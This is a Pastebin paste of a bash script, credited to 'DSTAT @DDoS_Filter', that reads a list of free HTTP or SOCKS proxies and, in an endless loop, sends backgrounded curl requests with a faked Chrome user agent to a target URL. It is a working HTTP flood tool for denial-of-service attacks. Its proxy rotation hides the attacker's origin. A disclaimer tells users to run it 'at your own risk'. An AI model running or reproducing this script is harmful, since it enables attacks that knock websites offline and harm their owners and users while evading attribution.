DSTAT

http_proxy_request_sender

Jun 9th, 2019 (edited)
1,978
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2. # USE THIS TOOL RESPONSIBLY AT YOUR OWN RISK!
  3. # Go to https://www.freeproxychecker.com/ for free proxies!
  4. # http_proxy_sender.sh v2.0
  5. # Coded by DSTAT @DDoS_Filter
  6. # Proxy list format: ip:port
  7. # Proxy list must be in unix LF new line format, (\n)
  8. # Curl must be installed!
  9. # Ubuntu: apt install curl
  10. # CentOS: yum install curl
  11.  
  12. if [ "$#" -ne 5 ]; then
  13.     echo
  14.     echo $0 "by @DDoS_Filter (DSTAT)"
  15.     echo "Usage"
  16.     echo $0 [http://example.com/] [Sleep] [Timeout] [/proxy/list.txt] [Protocol]
  17.     echo Protocols: http, socks4, socks5
  18.     echo ctrl + c to stop script.
  19.     echo
  20. else
  21.     if [ "$5" = "http" ]; then
  22.         proto="-x"
  23.     elif [ "$5" = "socks4" ]; then
  24.         proto="--socks4"
  25.     elif [ "$5" = "socks5" ]; then
  26.         proto="--socks5"
  27.     else
  28.         echo Invalid Protocol.
  29.         echo Protocols:
  30.         echo http, socks4, socks5
  31.         exit
  32.     fi
  33.     if [ ! -f $4 ]; then
  34.         echo Proxy list not found!
  35.         exit
  36.     fi
  37.     echo Sending Requests!
  38.     while true; do
  39.         ((j++))
  40.         while read -r line || [[ -n "$line" ]]; do
  41.                 curl -s -o /dev/null -m $3 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36" $proto $line $1 & > /dev/null;
  42.             sleep $2;
  43.         done < "$4"
  44.         echo Finished List $j Times
  45.     done
  46. fi
RAW Paste Data